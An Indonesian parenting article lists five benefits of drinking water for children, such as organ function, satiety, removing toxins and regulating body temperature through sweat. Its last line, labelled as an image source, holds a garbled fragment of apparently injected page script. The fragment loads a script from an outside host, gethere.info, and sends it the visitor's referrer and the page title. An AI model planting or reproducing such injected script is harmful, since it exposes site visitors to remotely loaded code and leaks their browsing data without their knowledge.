Manfaat air bagi tubuh
Kehilangan cairan dapat menimbulkan gangguan kognitif, mood dan gejala dehidrasi. Kehilangan cairan tubuh sebesar 1% disebut dehidrasi. Menurut penelitian di Perancis menunjukkan bahwa lebih dari 70% anak tidak cukup minum ketika berangkat ke sekolah pada pagi hari.
Dehidrasi sendiri ditandai dengan kulit kering, sakit kepala, dan rasa lelah. Minum cukup air sangat diperlukan agar tubuh sehat. Air memiliki banyak manfaat bagi tubuh. Tidak hanya berfungsi memuaskan dahaga. Ini dia manfaat minum air bagi tubuh :
1. Menjaga organ-organ tubuh berfungsi normal
Setiap proses metabolisme dalam tubuh memerlukan air misalnya untuk kontraksi otot atau proses biokimia di hati. Kekurangan air akan membuat aktivitas kimia tubuh berkurang. Jadi bisa membuat si kecil cepat lelah dan kurang energi untuk beraktifitas.
2. Membuat merasa kenyang
Minum segelas atau dua gelas air sebelum makan bisa membuat lebih mudah mengontrol porsi makan. Bukan berarti minum dulu lalu cuma makan setengah porsi. Hal itu akan membuat cepat lapar setelah makan. Jadi ketika minum sebelum makan hanya bisa mencegah makan dengan porsi berlebih. Hal tersebut juga dapat membuat anak terhindar dari obesitas.
3. Membuang racun dalam tubuh
Racun-racun dalam tubuh akan dibuang melalui keringat, urin, feses. Dibutuhkan asupan cairan yang cukup agar ketiga proses berjalan dengan lancar. Perlu diketahui dehidrasi akan menyebabkan ginjal tidak berfungsi maksimal dan racun-racun jadi susah dikeluarkan.
4. Membantu anak berkeringat
Walaupun berkeringat itu kadang membuat tidak nyaman, tapi sebenarnya berkeringat sangatlah penting bagi tubuh. Karena bermanfaat mendinginkan dan mengatur suhu tubuh. Jika susah berkeringat, suhu tubuh akan meningkat dan dapat mengganggu aktivitas si kecil.
5. Tidak membuat gemuk
Air mengandung nol kalori, tidak mahal, dan mudah didapat dibandingkan minuman lain seperti susu, soda, atau teh manis. Jadi tidak usah khawatir jika memang si kecil gemar minum air putih.
Sumber : parenting.com
Source Image : http://www.duniaberbicara.coms.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;